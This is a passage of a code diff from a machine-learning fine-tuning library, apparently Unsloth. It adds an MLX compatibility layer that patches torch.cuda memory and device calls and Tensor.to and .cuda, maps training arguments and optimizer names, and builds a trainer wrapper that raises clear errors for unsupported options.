+                return int(get_active()) if callable(get_active) else 0
+
+            def memory_current(device = None):
+                """Return CURRENT MLX memory in bytes. torch.cuda.memory_reserved /
+                memory_allocated report live usage, not the peak (that is max_*)."""
+                return _mlx_active_memory_bytes()
+
+            def mem_get_info(device = None):
+                """Return (free, total) bytes for torch.cuda compatibility API.
+                Free uses CURRENT active memory, not the peak high-water mark, so
+                a capacity check stays accurate after a transient spike."""
+                total = int(get_gpu_memory_stats()[2] * 1024 * 1024 * 1024)
+                return (max(total - _mlx_active_memory_bytes(), 0), total)
+
+            def reset_peak_memory_stats(device = None):
+                """Reset MLX's peak-memory counter so a later max_memory_reserved /
+                max_memory_allocated scopes to the run, not earlier model-load peaks."""
+                import mlx.core as mx
+
+                reset = getattr(mx, "reset_peak_memory", None)
+                if reset is None and hasattr(mx, "metal"):
+                    reset = getattr(mx.metal, "reset_peak_memory", None)
+                if callable(reset):
+                    reset()
+
+            def synchronize(device = None):
+                """Wait for queued MLX work when torch.cuda.synchronize() is called."""
+                import mlx.core as mx
+
+                sync = getattr(mx, "synchronize", None)
+                if callable(sync):
+                    sync()
+
+            cuda.get_device_properties = get_device_properties
+            cuda.get_device_name = get_device_name
+            cuda.max_memory_reserved = max_memory_reserved
+            cuda.max_memory_allocated = max_memory_reserved
+            cuda.memory_reserved = memory_current
+            cuda.memory_allocated = memory_current
+            cuda.empty_cache = empty_cache
+            cuda.mem_get_info = mem_get_info
+            cuda.reset_peak_memory_stats = reset_peak_memory_stats
+            cuda.synchronize = synchronize
+            cuda.current_device = lambda: 0
+            cuda.device_count = lambda: 1
+            cuda.set_device = lambda device = None: None
+            cuda.get_device_capability = lambda device = None: (0, 0)
+            cuda.is_bf16_supported = lambda *args, **kwargs: is_bfloat16_supported()
+            cuda._unsloth_mlx_cuda_compat_api = True
+
+        tensor_to = getattr(torch.Tensor, "to", None)
+        if tensor_to is not None and not getattr(tensor_to, "_unsloth_mlx_cuda_noop", False):
+
+            def _coerce_mlx_dtype_to_torch(value):
+                """Map MLX dtype objects to their torch dtype equivalents."""
+                try:
+                    import mlx.core as mx
+                except Exception:
+                    return value
+                dtype_map = {
+                    mx.bool_: torch.bool,
+                    mx.int8: torch.int8,
+                    mx.int16: torch.int16,
+                    mx.int32: torch.int32,
+                    mx.int64: torch.int64,
+                    mx.uint8: torch.uint8,
+                    mx.float16: torch.float16,
+                    mx.float32: torch.float32,
+                    mx.bfloat16: torch.bfloat16,
+                }
+                mapped = dtype_map.get(value, None)
+                if mapped is not None:
+                    return mapped
+                dtype_name = str(value).rsplit(".", 1)[-1]
+                name_map = {
+                    "bool_": torch.bool,
+                    "int8": torch.int8,
+                    "int16": torch.int16,
+                    "int32": torch.int32,
+                    "int64": torch.int64,
+                    "uint8": torch.uint8,
+                    "float16": torch.float16,
+                    "float32": torch.float32,
+                    "bfloat16": torch.bfloat16,
+                }
+                return name_map.get(dtype_name, value)
+
+            def mlx_tensor_to(self, *args, **kwargs):
+                """Ignore CUDA device targets while preserving dtype conversions."""
+                args = list(args)
+                kwargs = dict(kwargs)
+                removed_cuda_device = False
+                if args and _is_mlx_cuda_device_target(args[0]):
+                    args.pop(0)
+                    removed_cuda_device = True
+                if _is_mlx_cuda_device_target(kwargs.get("device", None)):
+                    kwargs.pop("device", None)
+                    removed_cuda_device = True
+                if removed_cuda_device and not args:
+                    cuda_only_kwargs = ("non_blocking", "copy", "memory_format")
+                    if all(key in cuda_only_kwargs for key in kwargs):
+                        return self
+                if removed_cuda_device and not args and not kwargs:
+                    return self
+                if args:
+                    args[0] = _coerce_mlx_dtype_to_torch(args[0])
+                if "dtype" in kwargs:
+                    kwargs["dtype"] = _coerce_mlx_dtype_to_torch(kwargs["dtype"])
+                return tensor_to(self, *args, **kwargs)
+
+            mlx_tensor_to._unsloth_mlx_cuda_noop = True
+            mlx_tensor_to._unsloth_original_to = tensor_to
+            torch.Tensor.to = mlx_tensor_to
+
+        tensor_cuda = getattr(torch.Tensor, "cuda", None)
+        if tensor_cuda is not None and not getattr(tensor_cuda, "_unsloth_mlx_cuda_noop", False):
+
+            def mlx_tensor_cuda(self, *args, **kwargs):
+                """Treat tensor.cuda() as a no-op on MLX."""
+                return self
+
+            mlx_tensor_cuda._unsloth_mlx_cuda_noop = True
+            mlx_tensor_cuda._unsloth_original_cuda = tensor_cuda
+            torch.Tensor.cuda = mlx_tensor_cuda
+
+    _patch_mlx_torch_cuda_compat_api()
+
+    _MLX_TRAINING_CONFIG_FIELDS = {_field.name for _field in _dataclasses.fields(MLXTrainingConfig)}
+    _MLX_TRAINING_ARGUMENT_ALIASES = {
+        "max_length": "max_seq_length",
+    }
+    _MLX_COMPAT_EXTRA_ARGUMENTS = frozenset(
+        (
+            "bf16",
+            "dataloader_num_workers",
+            "dataloader_pin_memory",
+            "dataset_kwargs",
+            "ddp_find_unused_parameters",
+            "disable_tqdm",
+            "eval_strategy",
+            "evaluation_strategy",
+            "fp16",
+            "full_determinism",
+            "gradient_checkpointing_kwargs",
+            "hub_model_id",
+            "hub_token",
+            "log_level",
+            "logging_strategy",
+            "neftune_noise_alpha",
+            "optim_args",
+            "padding_free",
+            "push_to_hub",
+            "remove_unused_columns",
+            "save_on_each_node",
+            "save_safetensors",
+            "save_strategy",
+            "torch_compile",
+        )
+    )
+    _MLX_IMPLEMENTED_EXTRA_ARGUMENTS = frozenset(
+        (
+            "image_size",
+            "preserve_dataset_order",
+            "warmup_ratio",
+        )
+    )
+    _MLX_ALLOWED_EXTRA_ARGUMENTS = _MLX_COMPAT_EXTRA_ARGUMENTS | _MLX_IMPLEMENTED_EXTRA_ARGUMENTS
+    _MLX_UNSUPPORTED_TASK_ARGUMENTS = frozenset(
+        (
+            "assistant_only_loss",
+            "completion_only_loss",
+        )
+    )
+
+    def _is_mlx_no_save_strategy(value):
+        if hasattr(value, "value"):
+            value = value.value
+        strategy = str(value or "").strip().lower()
+        strategy = strategy.rsplit(".", 1)[-1]
+        return strategy in ("no", "none", "false")
+
+    _MLX_ADAMW_OPTIMIZER_ALIASES = frozenset(
+        (
+            "adamw_8bit",
+            "paged_adamw_8bit",
+            "adamw_bnb_8bit",
+            "paged_adamw_32bit",
+            "adamw_torch",
+            "adamw_torch_fused",
+            "paged_adamw",
+            "adamw_32bit",
+            "adamw_hf",
+            "adamw_anyprecision",
+            "adamw_apex_fused",
+        )
+    )
+
+    def _normalize_mlx_training_value(key, value):
+        if key == "eval_steps" and value is None:
+            return 0
+        if key == "num_train_epochs" and value is not None and not isinstance(value, bool):
+            try:
+                epochs = float(value)
+            except (TypeError, ValueError):
+                pass
+            else:
+                if epochs.is_integer():
+                    return int(epochs)
+        if key == "lr_scheduler_type" and hasattr(value, "value"):
+            return value.value
+        if key != "optim":
+            return value
+        try:
+            return _normalize_mlx_optimizer_name(value)
+        except ValueError:
+            # Older unsloth-zoo lacks CUDA/TRL optimizer aliases; map common
+            # adamw_* names so notebook defaults (optim="adamw_8bit") still work.
+            opt = str(getattr(value, "value", value) or "adamw").strip().lower()
+            opt = opt.rsplit(".", 1)[-1].replace("-", "_")
+            if opt in _MLX_ADAMW_OPTIMIZER_ALIASES:
+                return "adamw"
+            raise
+
+    def _mlx_training_argument_values(args):
+        values = {}
+        for field in _dataclasses.fields(MLXTrainingConfig):
+            if hasattr(args, field.name):
+                values[field.name] = _normalize_mlx_training_value(
+                    field.name,
+                    getattr(args, field.name),
+                )
+        for alias, target in _MLX_TRAINING_ARGUMENT_ALIASES.items():
+            if target not in values and hasattr(args, alias):
+                values[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else alias] = getattr(
+                    args, alias
+                )
+        for name in _MLX_ALLOWED_EXTRA_ARGUMENTS:
+            if hasattr(args, name):
+                values[name] = getattr(args, name)
+        for name in _MLX_UNSUPPORTED_TASK_ARGUMENTS:
+            if hasattr(args, name):
+                value = getattr(args, name)
+                if (
+                    name == "completion_only_loss"
+                    and value is not None
+                    and name in _MLX_TRAINING_CONFIG_FIELDS
+                ):
+                    values[name] = value
+                elif value is not None and value is not False:
+                    values[name] = value
+        if _is_mlx_no_save_strategy(values.get("save_strategy", None)):
+            values["save_steps"] = 0
+        return values
+
+    def _split_mlx_trainer_kwargs(kwargs):
+        trainer_kwargs = {}
+        config_kwargs = {}
+        ignored_kwargs = {}
+        for key, value in kwargs.items():
+            if key in _MLX_TRAINER_KWARGS:
+                trainer_kwargs[key] = value
+                continue
+            target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key)
+            if target in _MLX_TRAINING_CONFIG_FIELDS or key in _MLX_ALLOWED_EXTRA_ARGUMENTS:
+                config_kwargs[key] = value
+            else:
+                ignored_kwargs[key] = value
+        return trainer_kwargs, config_kwargs, ignored_kwargs
+
+    def _is_mlx_training_args_like(value):
+        if isinstance(value, (MLXTrainingConfig, dict, str, os.PathLike)):
+            return True
+        return any(
+            hasattr(value, name)
+            for name in (
+                "output_dir",
+                "per_device_train_batch_size",
+                "gradient_accumulation_steps",
+                "max_steps",
+                "learning_rate",
+            )
+        )
+
+    def _should_use_trl_positional_schema(args):
+        if len(args) < 2:
+            return False
+        if _is_mlx_training_args_like(args[1]):
+            return True
+        # TRL callers often pass explicit defaults:
+        # SFTTrainer(model, None, None, train_dataset, ...)
+        return len(args) >= 3 and args[1] is None and (args[2] is None or callable(args[2]))
+
+    def _assign_mlx_positional_kwarg(kwargs, name, value):
+        if name in kwargs:
+            raise TypeError(
+                f"UnslothTrainer.__init__() got multiple values for argument " f"{name!r}"
+            )
+        kwargs[name] = value
+
+    def _normalize_mlx_trainer_init_args(args, kwargs):
+        kwargs = dict(kwargs)
+        if len(args) == 0:
+            return kwargs
+
+        use_trl_schema = _should_use_trl_positional_schema(args)
+        positional_names = (
+            _TRL_SFT_TRAINER_POSITIONAL_KWARGS if use_trl_schema else _MLX_TRAINER_POSITIONAL_KWARGS
+        )
+        if len(args) > len(positional_names):
+            raise TypeError(
+                f"UnslothTrainer.__init__() takes at most "
+                f"{len(positional_names)} positional arguments on MLX "
+                f"({len(args)} given)"
+            )
+        for name, value in zip(positional_names, args):
+            _assign_mlx_positional_kwarg(kwargs, name, value)
+        return kwargs
+
+    def _is_meaningful_mlx_extra_value(value):
+        if value is None or value is False:
+            return False
+        if isinstance(value, (str, bytes)) and len(value) == 0:
+            return False
+        if isinstance(value, (dict, list, tuple, set, frozenset)) and len(value) == 0:
+            return False
+        return True
+
+    def _warn_ignored_mlx_training_args(extra_kwargs):
+        names = sorted(
+            key
+            for key, value in extra_kwargs.items()
+            if (key in _MLX_COMPAT_EXTRA_ARGUMENTS and _is_meaningful_mlx_extra_value(value))
+        )
+        if not names:
+            return
+        _warnings.warn(
+            "Unsloth MLX: accepting but not applying unsupported "
+            "TrainingArguments kwargs: "
+            f"{', '.join(names)}. These options are not implemented by "
+            "MLXTrainer yet.",
+            RuntimeWarning,
+            stacklevel = 3,
+        )
+
+    def _is_meaningful_mlx_trainer_kwarg(key, value):
+        if key == "optimizers" and value == (None, None):
+            return False
+        return _is_meaningful_mlx_extra_value(value)
+
+    def _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs):
+        names = sorted(
+            key
+            for key, value in ignored_kwargs.items()
+            if _is_meaningful_mlx_trainer_kwarg(key, value)
+        )
+        if not names:
+            return
+        raise NotImplementedError(
+            "Unsloth MLX: unsupported SFTTrainer kwargs cannot be ignored safely: "
+            f"{', '.join(names)}. Remove these kwargs or use a supported MLX "
+            "trainer configuration."
+        )
+
+    def _raise_unknown_mlx_training_args(extra_kwargs):
+        names = sorted(key for key in extra_kwargs if key not in _MLX_ALLOWED_EXTRA_ARGUMENTS)
+        if not names:
+            return
+        raise NotImplementedError(
+            "Unsloth MLX: unsupported TrainingArguments/SFTConfig kwargs: "
+            f"{', '.join(names)}. Remove these kwargs or use fields implemented "
+            "by MLXTrainingConfig."
+        )
+
+    def _positive_mlx_context_length(value):
+        if value is None or isinstance(value, bool):
+            return None
+        try:
+            length = int(value)
+        except (TypeError, ValueError, OverflowError):
+            return None
+        if length <= 0:
+            return None
+        return length
+
+    def _positive_mlx_training_number(value):
+        if value is None or isinstance(value, bool):
+            return None
+        try:
+            number = float(value)
+        except (TypeError, ValueError, OverflowError):
+            return None
+        if number <= 0:
+            return None
+        return number
+
+    def _set_mlx_cuda_style_context_length(args, length):
+        args.max_seq_length = length
+        args.max_length = length
+        args._unsloth_mlx_max_length_value = length
+        return args
+
+    class UnslothTrainingArguments(MLXTrainingConfig):
+        """MLX-compatible public training arguments for Unsloth notebooks."""
+
+        def __init__(self, *args, **kwargs):
+            if len(args) == 1 and isinstance(args[0], dict):
+                kwargs = {**args[0], **kwargs}
+            elif len(args) == 1 and isinstance(args[0], (str, os.PathLike)):
+                kwargs = {"output_dir": os.fspath(args[0]), **kwargs}
+            elif args:
+                raise TypeError(
+                    "UnslothTrainingArguments on MLX accepts keyword arguments, "
+                    "a dict, or a single positional output_dir."
+                )
+
+            max_length_value = kwargs.get("max_length", None)
+            # Only the canonical max_seq_length marks context length explicit; TRL
+            # max_length stays a compatibility alias and defers to the model's
+            # context length when one is available.
+            max_seq_length_explicit = (
+                _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None
+            )
+            if "max_length" in kwargs and "max_seq_length" not in kwargs:
+                kwargs["max_seq_length"] = kwargs["max_length"]
+            elif (
+                "max_length" in kwargs
+                and _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None
+            ):
+                max_length_value = kwargs["max_seq_length"]
+            if "num_train_epochs" in kwargs and "max_steps" not in kwargs:
+                kwargs["max_steps"] = -1
+
+            dataset_order_explicit = "dataset_order" in kwargs or bool(
+                kwargs.get("preserve_dataset_order", False)
+            )
+            append_eos_explicit = "append_eos" in kwargs
+            grad_clip_explicit = any(
+                name in kwargs for name in ("max_grad_norm", "max_grad_value", "max_grad_leaf_norm")
+            )
+            warmup_ratio = kwargs.get("warmup_ratio", None)
+            warmup_steps_supplied = "warmup_steps" in kwargs
+            warmup_steps_value = kwargs.get("warmup_steps", None)
+            warmup_steps_explicit = False
+            if warmup_steps_supplied:
+                try:
+                    warmup_steps_explicit = int(warmup_steps_value) > 0
+                except (TypeError, ValueError):
+                    warmup_steps_explicit = True
+            filtered_kwargs = {}
+            extra_kwargs = {}
+            for key, value in kwargs.items():
+                target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key)
+                if key != target and target in kwargs:
+                    continue
+                value = _normalize_mlx_training_value(target, value)
+                if target in _MLX_UNSUPPORTED_TASK_ARGUMENTS:
+                    if (
+                        target == "completion_only_loss"
+                        and value is not None
+                        and target in _MLX_TRAINING_CONFIG_FIELDS
+                    ):
+                        filtered_kwargs[target] = value
+                    elif _is_meaningful_mlx_extra_value(value):
+                        extra_kwargs[key] = value
+                    continue
+                if target in _MLX_TRAINING_CONFIG_FIELDS:
+                    filtered_kwargs[target] = value
+                else:
+                    extra_kwargs[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else key] = value
+
+            _raise_unknown_mlx_training_args(extra_kwargs)
+
+            if _is_mlx_no_save_strategy(extra_kwargs.get("save_strategy", None)):
+                filtered_kwargs["save_steps"] = 0
+
+            if warmup_ratio is not None and not warmup_steps_explicit:
+                import math as _math
+                max_steps = filtered_kwargs.get(
+                    "max_steps",
+                    getattr(MLXTrainingConfig, "max_steps", 60),
+                )
+                try:
+                    if int(max_steps) > 0:
+                        filtered_kwargs["warmup_steps"] = max(
+                            0,
+                            _math.ceil(int(max_steps) * float(warmup_ratio)),
+                        )
+                except (TypeError, ValueError):
+                    pass
+
+            super().__init__(**filtered_kwargs)
+            self._unsloth_mlx_dataset_order_explicit = dataset_order_explicit
+            self._unsloth_mlx_append_eos_explicit = append_eos_explicit
+            self._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit
+            self._unsloth_mlx_max_length_value = max_length_value
+            if "max_length" in kwargs:
+                self.max_length = max_length_value
+            self._unsloth_mlx_grad_clip_explicit = grad_clip_explicit
+            self._unsloth_mlx_warmup_steps_explicit = warmup_steps_explicit
+            self._unsloth_mlx_extra_args = extra_kwargs
+            for key, value in extra_kwargs.items():
+                setattr(self, key, value)
+            _warn_ignored_mlx_training_args(extra_kwargs)
+
+    def _resolve_mlx_cuda_style_max_seq_length(args, model = None):
+        model_max_seq_length = _positive_mlx_context_length(
+            getattr(model, "max_seq_length", None),
+        )
+        args_max_seq_length = _positive_mlx_context_length(
+            getattr(args, "max_seq_length", None),
+        )
+        args_max_seq_length_explicit = getattr(
+            args,
+            "_unsloth_mlx_max_seq_length_explicit",
+            None,
+        )
+        if args_max_seq_length_explicit is None:
+            default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048)
+            args_max_seq_length_explicit = (
+                args_max_seq_length is not None and args_max_seq_length != default_max_seq_length
+            )
+        if not args_max_seq_length_explicit:
+            args_max_seq_length = None
+
+        if args_max_seq_length is None and model_max_seq_length is not None:
+            args_max_seq_length = model_max_seq_length
+        elif (
+            args_max_seq_length is not None
+            and model_max_seq_length is not None
+            and args_max_seq_length > model_max_seq_length
+        ):
+            print(
+                "Unsloth: You set `max_seq_length` as "
+                f"{args_max_seq_length} but the maximum the model supports is "
+                f"{model_max_seq_length}. We shall reduce it."
+            )
+            args_max_seq_length = model_max_seq_length
+
+        if args_max_seq_length is not None:
+            _set_mlx_cuda_style_context_length(args, args_max_seq_length)
+            return args
+
+        model_max_length = model_max_seq_length
+        if model_max_length is None:
+            model_max_length = _positive_mlx_context_length(
+                getattr(model, "max_length", None),
+            )
+        if model_max_length is not None:
+            _set_mlx_cuda_style_context_length(args, model_max_length)
+            return args
+
+        args_max_length = _positive_mlx_context_length(
+            getattr(args, "max_length", None),
+        )
+        if args_max_length is None:
+            args_max_length = _positive_mlx_context_length(
+                getattr(args, "_unsloth_mlx_max_length_value", None),
+            )
+        if args_max_length is not None:
+            _set_mlx_cuda_style_context_length(args, args_max_length)
+            if model is not None:
+                setattr(model, "max_seq_length", args_max_length)
+            return args
+
+        _set_mlx_cuda_style_context_length(args, 1024)
+        return args
+
+    def _apply_unsloth_trainer_mlx_defaults(
+        args,
+        model = None,
+        max_seq_length_explicit = False,
+    ):
+        if (
+            not getattr(args, "streaming", False)
+            and not getattr(args, "preserve_dataset_order", False)
+            and not getattr(args, "_unsloth_mlx_dataset_order_explicit", False)
+        ):
+            default_order = getattr(MLXTrainingConfig, "dataset_order", "default")
+            if getattr(args, "dataset_order", default_order) in (None, default_order):
+                args.dataset_order = "torch_randperm"
+
+        if isinstance(args, UnslothTrainingArguments) and not getattr(
+            args, "_unsloth_mlx_append_eos_explicit", False
+        ):
+            args.append_eos = False
+
+        if isinstance(args, UnslothTrainingArguments) and not getattr(
+            args, "_unsloth_mlx_grad_clip_explicit", False
+        ):
+            max_grad_norm = _positive_mlx_training_number(
+                getattr(args, "max_grad_norm", None),
+            )
+            max_grad_value = _positive_mlx_training_number(
+                getattr(args, "max_grad_value", None),
+            )
+            max_grad_leaf_norm = _positive_mlx_training_number(
+                getattr(args, "max_grad_leaf_norm", None),
+            )
+            if max_grad_norm is None and max_grad_value is None and max_grad_leaf_norm is None:
+                args.max_grad_norm = 1.0
+
+        if not max_seq_length_explicit:
+            _resolve_mlx_cuda_style_max_seq_length(args, model = model)
+        return args
+
+    def _coerce_mlx_training_args(args, overrides = None):
+        overrides = overrides or {}
+        if isinstance(args, MLXTrainingConfig) and not overrides:
+            return args
+        dataset_order_explicit = None
+        append_eos_explicit = None
+        max_seq_length_explicit = None
+        max_length_value = None
+        grad_clip_explicit = None
+        if args is None:
+            values = {}
+        elif isinstance(args, dict):
+            values = dict(args)
+        elif isinstance(args, (str, os.PathLike)):
+            values = {"output_dir": os.fspath(args)}
+        else:
+            dataset_order_explicit = getattr(
+                args,
+                "_unsloth_mlx_dataset_order_explicit",
+                False,
+            )
+            append_eos_explicit = getattr(
+                args,
+                "_unsloth_mlx_append_eos_explicit",
+                None,
+            )
+            max_seq_length_explicit = getattr(
+                args,
+                "_unsloth_mlx_max_seq_length_explicit",
+                None,
+            )
+            if max_seq_length_explicit is None:
+                args_max_seq_length = _positive_mlx_context_length(
+                    getattr(args, "max_seq_length", None),
+                )
+                default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048)
+                max_seq_length_explicit = (
+                    args_max_seq_length is not None
+                    and args_max_seq_length != default_max_seq_length
+                )
+            max_length_value = getattr(
+                args,
+                "_unsloth_mlx_max_length_value",
+                getattr(args, "max_length", None),
+            )
+            grad_clip_explicit = getattr(
+                args,
+                "_unsloth_mlx_grad_clip_explicit",
+                None,
+            )
+            values = _mlx_training_argument_values(args)
+            if hasattr(args, "max_length"):
+                values["max_length"] = getattr(args, "max_length")
+        values.update(overrides)
+        coerced = UnslothTrainingArguments(**values)
+        if (
+            dataset_order_explicit is not None
+            and "dataset_order" not in overrides
+            and "preserve_dataset_order" not in overrides
+        ):
+            coerced._unsloth_mlx_dataset_order_explicit = dataset_order_explicit
+        if append_eos_explicit is not None and "append_eos" not in overrides:
+            coerced._unsloth_mlx_append_eos_explicit = append_eos_explicit
+        if (
+            max_seq_length_explicit is not None
+            and "max_seq_length" not in overrides
+            and "max_length" not in overrides
+        ):
+            coerced._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit
+        if max_length_value is not None and "max_length" not in overrides:
+            coerced._unsloth_mlx_max_length_value = max_length_value
+            coerced.max_length = max_length_value
+        if (
+            grad_clip_explicit is not None
+            and "max_grad_norm" not in overrides
+            and "max_grad_value" not in overrides
+            and "max_grad_leaf_norm" not in overrides
+        ):
+            coerced._unsloth_mlx_grad_clip_explicit = grad_clip_explicit
+        return coerced
+
+    _MLX_TRAINER_POSITIONAL_KWARGS = (
+        "model",
+        "tokenizer",
+        "train_dataset",
+        "eval_dataset",
+        "dataset_text_field",
+        "max_seq_length",
+        "packing",
+        "data_collator",
+        "args",
+        "formatting_func",
+        "processor",
+        "callbacks",
+    )
+    _TRL_SFT_TRAINER_POSITIONAL_KWARGS = (
+        "model",
+        "args",
+        "data_collator",
+        "train_dataset",
+        "eval_dataset",
+        "processing_class",
+        "compute_loss_func",
+        "compute_metrics",
+        "callbacks",
+        "optimizers",
+        "optimizer_cls_and_kwargs",
+        "preprocess_logits_for_metrics",
+        "peft_config",
+        "formatting_func",
+    )
+    _MLX_TRAINER_KWARGS = frozenset(_MLX_TRAINER_POSITIONAL_KWARGS)
+
+    def _filter_supported_mlx_trainer_kwargs(trainer_kwargs):
+        """Drop inert/empty kwargs unsupported by this zoo MLXTrainer."""
+        unsupported = {
+            key: value
+            for key, value in trainer_kwargs.items()
+            if not _mlx_trainer_supports_kwarg(key)
+        }
+        names = sorted(
+            key for key, value in unsupported.items() if _is_meaningful_mlx_extra_value(value)
+        )
+        if names:
+            subject = ", ".join(names)
+            verb = "requires" if len(names) == 1 else "require"
+            raise NotImplementedError(
+                "Unsloth MLX: "
+                f"{subject} {verb} an unsloth-zoo build with "
+                "matching MLXTrainer support. Upgrade unsloth-zoo together "
+                "with unsloth."
+            )
+        for key in unsupported:
+            trainer_kwargs.pop(key, None)
+        return trainer_kwargs
+
+    def _is_mlx_native_text_collator(collator):
+        """HF pad/copy collators are redundant on MLX; match by class name."""
+        for klass in type(collator).__mro__:
+            name = klass.__name__
+            if name in (
+                "DataCollatorForSeq2Seq",
+                "DataCollatorWithPadding",
+                "DefaultDataCollator",
+            ):
+                return True
+            if name == "DataCollatorForLanguageModeling":
+                # Plain causal padding is fine; MLM masking changes semantics.
+                return not bool(getattr(collator, "mlm", False))
+        return False
+
+    _MLX_VISION_COLLATOR_FORWARDED_KWARGS = frozenset(
+        ("completion_only_loss", "formatting_func", "max_seq_length")
+    )
+    _MLX_VISION_COLLATOR_IMAGE_KWARGS = frozenset(("image_size", "resize"))
+    _MLX_VISION_COLLATOR_POSITIONAL_KWARGS = (
+        "max_seq_length",
+        "formatting_func",
+        "resize",
+        "ignore_index",
+        "train_on_responses_only",
+        "instruction_part",
+        "response_part",
+        "force_match",
+        "num_proc",
+        "completion_only_loss",
+        "pad_to_multiple_of",
+        "resize_dimension",
+        "snap_to_patch_size",
+        "last_response_only",
+    )
+    _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS = {
+        "ignore_index": -100,
+        "train_on_responses_only": False,
+        "instruction_part": None,
+        "response_part": None,
+        "force_match": True,
+        "num_proc": None,
+        "pad_to_multiple_of": None,
+        "resize_dimension": 0,
+        "snap_to_patch_size": False,
+        "last_response_only": False,
+    }
+
+    def _is_default_mlx_vision_collator_value(key, value):
+        """Return whether an unsupported collator value is the CUDA default."""
+        if key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS:
+            return False
+        default = _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS[key]
+        if default is None:
+            return value is None
+        if isinstance(default, bool):
+            return value is default
+        return value == default and type(value) is type(default)
+
+    def _has_mlx_training_arg_value(args, key):
+        """Return whether training args already carry an explicit config value."""
+        if args is None or isinstance(args, (str, os.PathLike)):
+            return False
+        if isinstance(args, dict):
+            return key in args
+        return getattr(args, key, None) is not None
+
+    def _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs):
+        """Reject VLM collator kwargs that cannot be ignored safely on MLX."""
+        unsupported = sorted(
+            key
+            for key, value in collator_kwargs.items()
+            if (
+                key not in _MLX_VISION_COLLATOR_FORWARDED_KWARGS
+                and key not in _MLX_VISION_COLLATOR_IMAGE_KWARGS
+                and (
+                    (
+                        key in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS
+                        and not _is_default_mlx_vision_collator_value(key, value)
+                    )
+                    or (
+                        key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS
+                        and _is_meaningful_mlx_extra_value(value)
+                    )
+                )
+            )
+        )
+        if unsupported:
+            raise NotImplementedError(
+                "Unsloth MLX: unsupported UnslothVisionDataCollator kwargs "
+                f"cannot be ignored safely: {', '.join(unsupported)}."
+            )
+
+    class UnslothTrainer(MLXTrainer):
+        """Backend-aware public trainer that routes supported SFT notebooks to MLX."""
+
+        def __init__(self, *args, **kwargs):
+            kwargs = _normalize_mlx_trainer_init_args(args, kwargs)
+            processing_class = kwargs.pop("processing_class", None)
+            processor_from_processing_class = False
+            if processing_class is not None:
+                if kwargs.get("processor", None) is None:
+                    kwargs["processor"] = processing_class
+                    processor_from_processing_class = True
+                if kwargs.get("tokenizer", None) is None:
+                    kwargs["tokenizer"] = getattr(
+                        processing_class,
+                        "tokenizer",
+                        processing_class,
+                    )
+            kwargs.setdefault("tokenizer", None)
+
+            data_collator = kwargs.pop("data_collator", None)
+            if data_collator is not None:
+                if isinstance(data_collator, UnslothVisionDataCollator):
+                    collator_processor = getattr(data_collator, "processor", None)
+                    if collator_processor is not None and (
+                        kwargs.get("processor", None) is None or processor_from_processing_class
+                    ):
+                        kwargs["processor"] = collator_processor
+                        if kwargs.get("tokenizer", None) is None:
+                            kwargs["tokenizer"] = getattr(
+                                collator_processor,
+                                "tokenizer",
+                                collator_processor,
+                            )
+                    collator_kwargs = getattr(data_collator, "kwargs", None) or {}
+                    collator_explicit_kwargs = getattr(
+                        data_collator,
+                        "_unsloth_mlx_explicit_kwargs",
+                        set(collator_kwargs),
+                    )
+                    collator_image_size = collator_kwargs.get(
+                        "image_size",
+                        collator_kwargs.get("resize", None),
+                    )
+                    if isinstance(collator_image_size, list):
+                        collator_image_size = tuple(collator_image_size)
+                    if (
+                        isinstance(collator_image_size, str)
+                        and collator_image_size.lower() == "max"
+                    ):
+                        collator_image_size = "max"
+                    if "image_size" not in kwargs and (
+                        isinstance(collator_image_size, int)
+                        or collator_image_size == "max"
+                        or (
+                            isinstance(collator_image_size, tuple)
+                            and len(collator_image_size) == 2
+                            and all(isinstance(x, int) for x in collator_image_size)
+                        )
+                    ):
+                        kwargs["image_size"] = collator_image_size
+                    for collator_key in _MLX_VISION_COLLATOR_FORWARDED_KWARGS:
+                        collator_defaulted_value = collator_key not in collator_explicit_kwargs
+                        if collator_defaulted_value and _has_mlx_training_arg_value(
+                            kwargs.get("args"), collator_key
+                        ):
+                            continue
+                        if (
+                            collator_key in collator_kwargs
+                            and collator_key not in kwargs
+                            and collator_kwargs[collator_key] is not None
+                        ):
+                            kwargs[collator_key] = collator_kwargs[collator_key]
+                    _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs)
+                elif _is_mlx_native_text_collator(data_collator):
+                    pass  # redundant on MLX; MLXTrainer batches/masks/pads natively
+                else:
+                    raise NotImplementedError(
+                        "Unsloth MLX: custom data_collator is not supported by "
+                        "MLXTrainer. Pass the dataset directly or use the MLX "
+                        "trainer's native batching path."
+                    )
+
+            trainer_kwargs, config_kwargs, ignored_kwargs = _split_mlx_trainer_kwargs(kwargs)
+            _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs)
+            trainer_kwargs = _filter_supported_mlx_trainer_kwargs(trainer_kwargs)
+            trainer_kwargs["args"] = _coerce_mlx_training_args(
+                trainer_kwargs.get("args"),
+                config_kwargs,
+            )
+            if getattr(
+                trainer_kwargs["args"], "completion_only_loss", None
+            ) is True and not _is_vlm_model(trainer_kwargs.get("model")):
+                raise NotImplementedError(
+                    "Unsloth MLX: completion_only_loss=True is only supported "
+                    "for VLM training. For text SFT, call train_on_responses_only "
+                    "after constructing the trainer."
+                )
+            if getattr(
+                trainer_kwargs["args"], "train_on_completions", None
+            ) is True and not _is_vlm_model(trainer_kwargs.get("model")):
+                raise NotImplementedError(
+                    "Unsloth MLX: train_on_completions=True is only supported "
+                    "for VLM training. For text SFT, call train_on_responses_only "
+                    "after constructing the trainer."
+                )
+            trainer_kwargs["args"] = _apply_unsloth_trainer_mlx_defaults(
+                trainer_kwargs["args"],
